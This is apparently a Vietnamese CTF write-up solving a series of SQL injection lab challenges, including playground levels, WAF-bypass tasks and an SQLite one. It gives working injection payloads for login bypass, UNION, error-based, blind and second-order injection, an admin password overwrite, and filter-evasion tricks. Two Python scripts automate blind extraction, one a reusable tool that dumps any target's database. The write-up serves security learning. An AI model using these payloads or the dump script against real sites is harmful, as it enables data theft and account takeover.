# Chall
## Chall sqli-playground

Các chall sử dụng MySQL db
### Level 1

chall sử dụng plaintext.db :
```sql
INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', HEX(RANDOM_BYTES(8)));
```
em inject `admin'` để đóng chuỗi username và `-- -` để comment phần còn lại.
Mục đính là bỏ qua điều kiện password.
query sẽ thành
```sql
SELECT username FROM users WHERE username='admin'-- -' AND password='$password'
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 2

Tương tự level 1 nhưng dùng `\"` thay vì `'`
`\` dùng để escape kí tự, `\"` giúp php hiểu `"` là 1 kí tự trong chuỗi không phải dấu hiệu để kết thúc query
query khi xuống db sẽ thành
tương tự logic bài trên, em inject `admin"` để đóng chuỗi username và `-- - `để comment phần còn lại
sau khi PHP xử lí chuỗi `$sql` sẽ thành
```sql
SELECT username FROM users WHERE username="admin"-- -" AND password="any"
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 3

chall sử dụng hashed.db:
```sql
INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', '13442cabe383b86d1e1d2ce653845349');
```
query sử dụng hàm
LOWER() để chuyển kí tự in hoa về kí tự thường
MD5() là 1 hàm băm(hash) để chuyển chuỗi thành giá trị 128-bit(32 ký tự)
và chuỗi 128bit không thể reverse về chuỗi gốc
logic expoit vẫn như bài trước
em inject `admin")` để đóng chuỗi username và `-- -` để comment phần còn lại
sau khi PHP xử lí chuỗi, `$sql` sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("admin")-- - AND password=MD5("$password")
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 4

Tương tự Level 3 nhưng filter `"`, do đó không thể đóng chuỗi username và bỏ qua phần password như các bài trước
khi không thể inject `"` để đóng chuỗi, em nghĩ đến phương án escape dấu `"` khi db parse bằng cách inject `\`
khi php xử lí chuỗi
khi inject `\` vào username, $sql sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("/") AND password=MD5("password")
```
database parse query, thấy `\"` và coi `"` như 1 kí tự trong chuỗi
khi ấy dấu " đầu tiên phần password sẽ là dấu đóng chuỗi username
em inject `)` vào password để đóng hàm `LOWER()`
khi đó bên trong hàm LOWER sẽ là `/") AND password=MD5(`
em inject `\` vào username và `) OR username='admin'-- ` vào password
$sql sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("/") AND password=MD5(") OR username='admin'-- ")
```
trả về 1 row `'admin'` vì username `LOWER("/") AND password=MD5(")` không tồn tại. Do đó điều kiện kiểm tra đúng
### Level 5

logic của bài này là kiểm tra hash(md5) password nhập vào với password trả về của câu truy vấn
```sql
SELECT username, password FROM users WHERE username='$username'
```
nếu đúng thì kiểm tra tiếp username trả về từ câu truy vấn có phải `'admin'` không
nếu `password` trả về từ database(hashed md5) thì chỉ khi nhập `password` là chuỗi gốc điều kiện mới đúng. Việc tìm ra chuỗi gốc gần như là không thể
Do đó, em có ý tưởng inject `username` để làm cho `query` trả về `username` là `'admin'` và `password` là `hash md5` của chuỗi em có thể kiểm soát được
ví dụ trả về `username` là `'admin'` và `password` là kết quả hashed của `'ash'`. Khi đấy em chỉ cần nhập `password` là `ash` là điều kiện trả về đúng
Để làm điều đó, em inject `username`: `a' UNION SELECT 'admin', md5('ash')--
`$sql sẽ trờ thành
```sql
SELECT username, password FROM users WHERE username='a' UNION SELECT 'admin', md5('ash')-- -'
```
username `a` không tồn tại nên query trả về `admin` và 32 kí tự hashed của ash
`password` chỉ cần nhập `ash` là điều kiện trả về đúng
### Level 6

Chall sử dụng posts_db:

$message = nội dung của link content mà câu truy vấn trả về

Mục tiêu của chall: Extract database version
trong file html của chall có `echo $message`
vì lấy nội dung cửa link nên khó để extract version thông qua `union-based`
em thấy khi lỗi sẽ lưu vào `$message` nên em nghĩ đến `error-based`
em sử dụng `AND UUID_TO_BIN(version())`
hàm `UUID_TO_BIN()` chuyển mã `UUID` thành dạng binary, `version()` trả về không phải mã `UUID` nên gây lỗi và in kết quả version

### Level 7


Level 7 có chức năng đăng kí đăng nhập sử dụng `prepared statement`,chỉ gán input vào query đã được compile nên không thể inject khai thác
Khi đăng nhập thành công sẽ chuyển sang `profile.php`

trong profile lại lấy `username` đã login gắn vào `query`
như thế ta chỉ việc đăng kí tài khoản với `username` là payload muốn inject
sau đó sẽ lưu nguyên payload đó vào database
thay vì gửi payload trực tiếp để khai thác như bình thường ta thêm bước đăng kí với `username` là payload, đăng nhập với payload và khai thác
`a' UNION SELECT password FROM users WHERE id=21-- `
`username` a không tồn tại nên cả câu query trả về 1 row là password chứa FLAG
### Level 8

tương tự bài trước nhưng khi login thành công sẽ chuyển sang update.php

trong `update.php`, kiểm tra username đã login có phải `"admin"` không
và có chức năng update email có thể inject
Mục tiêu của bài này là phải đăng nhập với `username` là `admin`, và password là chuỗi gốc của `hashed password` đã lưu vào database
em inject vào `email` trong chức năng `update` để thay đổi `password` admin
đầu tiên em đăng kí với tài khoản hợp lệ và đăng nhập
ở `update.php` em inject `a', password=md5('ash') WHERE username='admin'-- -`
`$sql` sẽ thành
```sql
UPDATE users SET email='a', password=md5('ash') WHERE username='admin'-- -' WHERE username='username'
```
`password` admin đã được đổi thành md5('ash')
quay lại `login` với `password` là `ash` là done
## sql-bypass-waf


chall này nối chuỗi input trực tiếp vào query nên có sqli
tuy nhiên có filter
1.các hàm sql
```php
['union', 'select', 'from', 'and', 'or']
```
2.filter từ nhạy cảm 'admin'
3.filter `' ', '*', '/'` để tránh dấu cách và `/**/` (tương tự chức năng dấu cách)
Để lấy được flag em cần inject union để trích xuất thêm dữ liệu
Để inject cần giải quyết bypass 3 vấn đề trên
1. filter nhưng không `lower()` input => dùng `SELECT, UNION` được
2. mysql có tự động decode 1 số kiểu dữ liệu như hex, bit,.. => có thể bypass `'admin'` bằng mã hex của nó(thêm 0x ở đầu): `0x61646d696e`
hoặc là dùng hàm `char()` sau đó nối chuỗi
3.có 1 số cách bypass dấu cách (cùng chức năng với dấu cách) khác như:
sử dụng ( ) ví dụ SELECT(username)FROM()....
%09: Tab (Ngang)
%0a: New Line (Xuống dòng)
%0b: Vertical Tab (Tab dọc)
%0c: Form Feed (Chuyển trang)
%0d: Carriage Return (Về đầu dòng)
%a0: Non-breaking space (Khoảng trắng không ngắt
Khi bypass dược em còn phải làm sao cho flag trả về ở vị trí thứ 2 vì trong code result=result[1]) và result = cur.fetchone() trả về tuple (gần tương đương với array)
khi đó
```sql
a'%0aUNION%0aSELECT%0aidx,%0aupw,%0auid%0aFROM%0auser%0aWHERE%0auid=0x61646d696e;--%0a-
```
tương đương với
```sql
' UNION SELECT adix, upw, uid FROM user WHERE uid='admin'-- -
```
`result=result[1]` trả về upw của uid admin (tức là FLAG)
## sql-bypass-waf-advanced

bài này tương tự bài trước nhưng filter thêm 1 số cách bypass dấu cách khác
và filter
quan trọng là bài này `lower()` input nên không thể dùng SELET,UNION,...
trong mysql ta có thể sử dụng `#` để comment thay vì dùng `-- `
so sánh các cách bypass dấu cách với filter thêm

=> vẫn xót %a0
vì `lower()` input nên không thể `union-based` được vì nếu `bypass` bằng cách inject encode và db tự đọng decode thì sẽ được coi là string, không phải KEYWORD
ứng dụng có in ra vị dữ liêu trả về `result=result[1]` ở đây trả về `uid`
em nghĩ đến `blind-based`
Kiểm tra điều kiện, nếu đúng thì uid là `admin` (in `admin` ra giao diện), sai thì `uid` là `uid` không tồn tại (không in gì cả)
em sẽ kiểm tra từng kí tự `upw` của `admin` (tức flag)
em có viết script để brute-force cho nhanh
```python
import requests;
session = requests.Session();
url='http://localhost:5001/'
a= "";
for n in range(1,20):
for i in '{}*+,-./0123456789?@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
payloads=f"abcd'||uid=IF(BINARY(SUBSTRING(upw,{n},1))='{i}',0x61646d696e,'abde');#"
result=session.get(url,params={'uid':payloads}).text
if "admin" in result:
a+=i;
print(a);
```
em bypass OR = `||` , sử dụng BINARY 'a'='A' để phân biệt chữ hoa và thường
Ví dụ
`sql
abcd'||uid=IF(BINARY(SUBSTRING(upw,1,1))='D',0x61646d696e,'abde');#
`
Toán tử `=` trong `WHERE` sẽ kiểm tra điều kiện , nếu `true` thì trả về
trong bài này sẽ `match` khi kí tự kiểm tra đúng và `uid` đúng hoặc ngược lại
Tức như ví dụ sẽ match hàng khi cột upw trong hàng đó chữ đầu là 'D' và uid hàng đó là `admin` hoặc cột `upw` trong hàng không phải `'D'` và `uid` là `abde`
do đó nếu kiểm tra kí tự `admin` đúng => trả về hàng `admin` => in ra giao diện `uid` `admin`=> nếu `'admin'` trong `respone` => kí tự đúng

## baby-sqlite



câu truy vấn trả về admin thì in ra flag em cần `UNION based` để câu truy vấn trả về `admin`
trong `sqlite3` không tự `decode` chuỗi `hex` mà bắt đầu bằng `0x` mà bằng `x'` nhưng ' bị filter, nên em bypass admin bằng char() từng kí tự xong nối chuỗi bằng `||`: `(char(97)||char(100)||char(109)||char(105)||char(110)` trả về 'admin'
chắc chắn cần dùng `SELECT` nhưng bị filter (có `lower()`) nên cần tìm hàm khác có chức năng tương tự. trong sqlite có thể sử dụng `VALUES()` thay cho `SELECT `
`VALUES('admin')` tương đương `SELECT 'admin'`
filter thiếu `/**/` bypass dấu cách
```php
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
```
vì filter `'` nên ban đầu em inject `\` vào `uid` để escape, dấu `'` đầu tiên ở `upw` sẽ đóng chuỗi uid , rồi inject `union` vào upw. Nhưng không được, sau tìm hiểu em mới biết `\` trong `sqlite` không có chức năng escape mà sử dụng `'`
Sau đó em inject vào `level` vì không có `'` bao bọc
dù `level` là kiểu `int` nhưng khi inject `1 UNION...` database thấy 1 và coi đoạn sau là phần sau như 1 phần của câu lệnh
```sqlite
1/**/UNION/**/VALUES(char(97)||char(100)||char(109)||char(105)||char(110))
```
`query` tương đương với
```sqlite
SELECT uid FROM users WHERE uid='any' and upw='any' and level=1 UNION VALUES('admin');
```
`uid` và `upw` không tồn tại nên query trả về `admin`
# Script
script ví dụ để dump thông tin database trong bài level5/sqli-playground
```python
import requests;
import time;
import argparse;
session = requests.Session();
# url = "http://localhost:1337/basic/level5.php"
def find_length(query_1):
length_bin = "";
for i in range(1, 9):
payload_ = f"admin' AND SUBSTRING(LPAD(BIN(({query_1})),8,'0'),{i},1)='1'-- -";
data = {'username': payload_, 'password': 'a'};
response = session.post(url, data=data, timeout=10);
if "Wrong username or password" in response.text:
length_bin += '1';
else:
length_bin += '0';
# time.sleep(0.05);
length = int(length_bin, 2);
return length;
def bit_by_bit_sqli(query, max_length):
extracted = ""
for i in range(1, max_length + 1):
char_bin = ""
for bit in range(1, 9):
payload = f"admin' AND SUBSTRING(LPAD(BIN(ASCII(SUBSTRING(({query}),{i},1))),8,'0'),{bit},1)='1'-- -"
data = {'username': payload, 'password': 'a'}
response = session.post(url, data=data, timeout=10)
if "Wrong username or password" in response.text:
char_bin += "1"
else:
char_bin += "0"
# time.sleep(0.05)
char = chr(int(char_bin, 2))
if char == '\x00':
break
extracted += char
return extracted
parser = argparse.ArgumentParser(description="dump")
parser.add_argument("--u", required=True, help="Target URL")
parser.add_argument("--p1", action="store_true", help="Vulnerable parameter")
parser.add_argument("--p2", action="store_true", help="Vulnerable parameter")
parser.add_argument("--p3", action="store_true", help="Vulnerable parameter")
args = parser.parse_args()
url = args.u
if __name__ == "__main__":
if args.p1:#dump tên database
for i in range(0,20):
query_to_length1 = f"LENGTH((SELECT schema_name FROM information_schema.schemata LIMIT {i},1))"
length = find_length(query_to_length1)
print(f"Length of result: {length}")
if length == 0:
break
query_to_extract1 = f"SELECT schema_name FROM information_schema.schemata LIMIT {i},1"
db_name = bit_by_bit_sqli(query_to_extract1, length)
print(f"Extracted result: {db_name}")
if args.p2:#dump tên bảng trong database hashed_db
for i in range(0,20):
query_to_length = f"LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1))"
length = find_length(query_to_length)
print(f"Length of result: {length}")
if length == 0:
break
query_to_extract = f"SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1"
table_name = bit_by_bit_sqli(query_to_extract, length)
print(f"Extracted result: {table_name}")
if args.p3:#dump dữ liệu trong bảng users của database hashed_db
target_table = "users" # Thay doi ten bang can dump tai day
for i in range(0,20):
query_to_length2 = f"LENGTH((SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1))"
length = find_length(query_to_length2)
if length == 0:
break
query_to_extract2 = f"SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1"
column_name = bit_by_bit_sqli(query_to_extract2, length)
print(f"Extracted Column Name [{i}]: {column_name}")
for n in range(0,20):
query_to_length3 = f"LENGTH((SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1))"
data_length = find_length(query_to_length3)
if data_length == 0:
break
query_to_extract3 = f"SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1"
data_value = bit_by_bit_sqli(query_to_extract3, data_length)
print(f" Row {n} {column_name}: {data_value}")
```
